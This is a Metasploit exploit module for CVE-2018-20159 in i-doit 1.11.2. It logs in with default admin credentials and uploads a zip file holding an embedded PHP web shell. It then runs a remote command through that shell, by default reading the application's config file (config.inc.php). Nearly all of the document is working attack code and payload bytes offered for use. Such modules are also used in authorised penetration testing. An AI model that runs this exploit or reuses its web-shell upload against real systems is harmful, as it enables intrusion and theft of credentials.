## 
# This module requires Metasploit: http://metasploit.com/download 
# Current source: https://github.com/rapid7/metasploit-framework 
## 
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking 
 
  include Msf::Exploit::Remote::HttpClient 
 
    def initialize 
    super( 
      'Name'           => 'i-doit CMDB & ITSM 1.11.2 - (Authenticated) Remote Code Execution', 
      'Description'    => %q{ 
        This module exploits a file upload vulnerability in i-doit 
        version 1.11.2. This application has an upload feature that  
        allows an authenticated user with administrator roles to upload  
        arbitrary files to the main website directory. 
        Module upload the ".php" file in the ".zip" file to Remote Code Execution.
        i-doit accepts zip files as a plugin and extract them to the main directory.
        In order for the ".zip" file to be accepted by the application, it must contain a file named "package.json".  
      }, 
      'Author'         => [ 
        'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module 
        ], 
      'License'        => MSF_LICENSE, 
      'References'     => 
        [
          ['URL', 'https://pentest.com.tr/exploits/i-doit-CMDB-ITSM-1-11-2-Remote-Code-Execution-Metasploit.html'],
          ['CVE', '2018-20159'], 
          ['EDB', '45957'],  
        ], 
      'Platform'       => ['php'], 
      'Arch'           => ARCH_PHP, 
      'Targets'        => 
        [ 
          ['i-doit <= 1.11.2', {}] 
        ], 
      'DisclosureDate' => '05 Dec 2018', 
      'Privileged'     => false,       
      'DefaultTarget' => 0 
    ) 
 
    register_options( 
        [ 
          OptString.new('TARGETURI', [true, 'The base path to i-doit', '/i-doit']), 
          OptString.new('USER', [true, 'User to login with', 'admin']), 
          OptString.new('PASS', [true, 'Password to login with', 'admin']),
          OptString.new('CMD', [true, 'Remote Command', 'cat src/config.inc.php']), 
        ], self.class) 
    end 
# Authorized User Login   
  def login 
    res = send_request_cgi({ 
      'method' => 'POST', 
      'uri'    => normalize_uri(target_uri, "/admin/"), 
      'vars_post' => { 
          "username" => datastore['USER'], 
          "password" => datastore['PASS'] 
           
      } 
    })
    return res 
  end 
 
  def exploit 
 
    get_cookie = login.get_cookies 
    cookie = get_cookie 
# Login Access Control 
    control = send_request_cgi({ 
      'method' => 'GET', 
      'cookie' => cookie, 
      'uri'    => normalize_uri(target_uri, "/admin/?req=modules")      
    })

    html = control.body
    if html =~ /Install/
      print_status("Login successfuly")
    else
      print_status("User information is incorrect. Login failed")
      exit 0
    end 
# Arbitrary ".php" File Upload
    boundary = Rex::Text.rand_text_alphanumeric(29) 
     
    data = "-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"action\"\r\n"
    data << "\r\nadd\r\n-----------------------------{boundary}\r\n" 
    data << "Content-Disposition: form-data; name=\"mandator\"\r\n"
    data << "\r\n0\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"module_file\"; filename=\"test.zip\"\r\n"
    data << "Content-Type: application/zip\r\n\r\n"
    data << "PK"
    data << "\x03\x04\x14\x00\x08\x00\x08\x00\x06\x89\x85M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00 \x00" 
    data << "package.json"
    data << "UT"
    data << "\r\x00\x07\xcc\xdb\x07\\\xcc\xdb\x07\\\xcc\xdb\x07\\ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00\x03\x00"
    data << "PK" 
    data << "\x07\x08\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
    data << "PK"
    data << "\x03\x04\x14\x00\x08\x00\x08\x00G\x87{M\x00\x00\x00\x00\x00\x00\x00\x00\xdc\x01\x00\x00\t\x00 \x00"
    data << "shell.php"
    data << "UT"
    data << "\r\x00\x07wM\xfd[7\x81\x07\\wM\xfd[ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00\x95\x91"
    data << "\xcbj\xc30\x10E\xf7\xfa\x8a\xc1\x18,\xd3\xe6\x0b\xd2G6I)d\x15\xb2+e\x10\xf2\xb8\x16\xd1#x\xe4<\x08"
    data << "\xf9\xf7:\x8d\xe3\xb8M\xbb\xe8JH\xf7\xce\xbdg\xd0\xc3\xf3\xbaZ\x8b4V\x86\xb14\x96\xe0\x11\x10g\xaf"
    data << "\xf3)\xe2XLx\xcf\x91\x9cLt\xe5B\x01\xcdG\x18m\xe1\xeaM\xf2o\x16\x15c\rw\xe6\x87!\xd5\xc19\xe5\x8b68\xc5"
    data << "\x97\xe9\xf2-\xd1\xaeH\xde\xc7B\x98\x12\xa4\xb6\x8a\x19ig8\xb2\xcc\x16TZ\xd2\xd1\x04?k\xfc\xd7\x99"
    data << "\xe59\x1c\x84\x00\x80\xb4\xec\x9e\xda O[\xb8\xf5\xca\xec\xcc\x92\xb5\xad\xc3\x81\xd1\x93\xf1\x9b\xb0\"yAiuq\x04"
    data << "\xb2L'\x84\x8b\xad\xa7\xd0\xcaZl\x98jI\xa8\xeaZ\xed\xaf\x1c\xbf\xa9}\xf3=\x9c\xef}\xd3\xbf\xaa\xfe*\x19\xc4\xdf\xae\xd0Mt\xdf0\xd0\x8f\xe2\x13"
    data << "PK"
    data << "\x07\x08\xc6=\x06k\xde\x00\x00\x00\xdc\x01\x00\x00"
    data << "PK"
    data << "\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x06\x89\x85M\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00"
    data << "\x00\x0c\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00"
    data << "package.json"
    data << "UT"
    data << "\r\x00\x07\xcc\xdb\x07\\\xcc\xdb\x07\\\xcc\xdb\x07\\ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00"
    data << "PK"
    data << "\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00G\x87{M\xc6=\x06k\xde\x00\x00\x00\xdc\x01\x00\x00\t\x00 \x00\x00"
    data << "\x00\x00\x00\x00\x00\x00\x00\xa4\x81\\\x00\x00\x00"
    data << "shell.php"
    data << "UT"
    data << "\r\x00\x07wM\xfd[7\x81\x07\\wM\xfd[ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00"
    data << "PK"
    data << "\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xb1\x00\x00\x00\x91\x01\x00\x00\x00\x00\r\n"
    data << "-----------------------------{boundary}--\r\n" 
 
    res = send_request_cgi({ 
      'method' => 'POST',     
      'data'  => data, 
      'headers' => 
      { 
        'Content-Type'   => 'multipart/form-data; boundary=---------------------------{boundary}', 
        'Cookie'   => cookie, 
      }, 
      'uri' => normalize_uri(target_uri, "/admin/?req=modules&action=add")      
    })
# Informations    
    print_status("#{peer} - Executing Command...")     
    print_status("Upload successful")
    print_status("Shell Directory = /shell.php?cmd=[Command Here]") 
# Command Execute     
    execute = send_request_cgi({ 
      'method'   => 'GET', 
      'uri'      => normalize_uri(target_uri, "/shell.php"),
      'vars_get' => {
              "cmd" => datastore['CMD']
      } 
    })
    puts execute.body 
    
  end     
end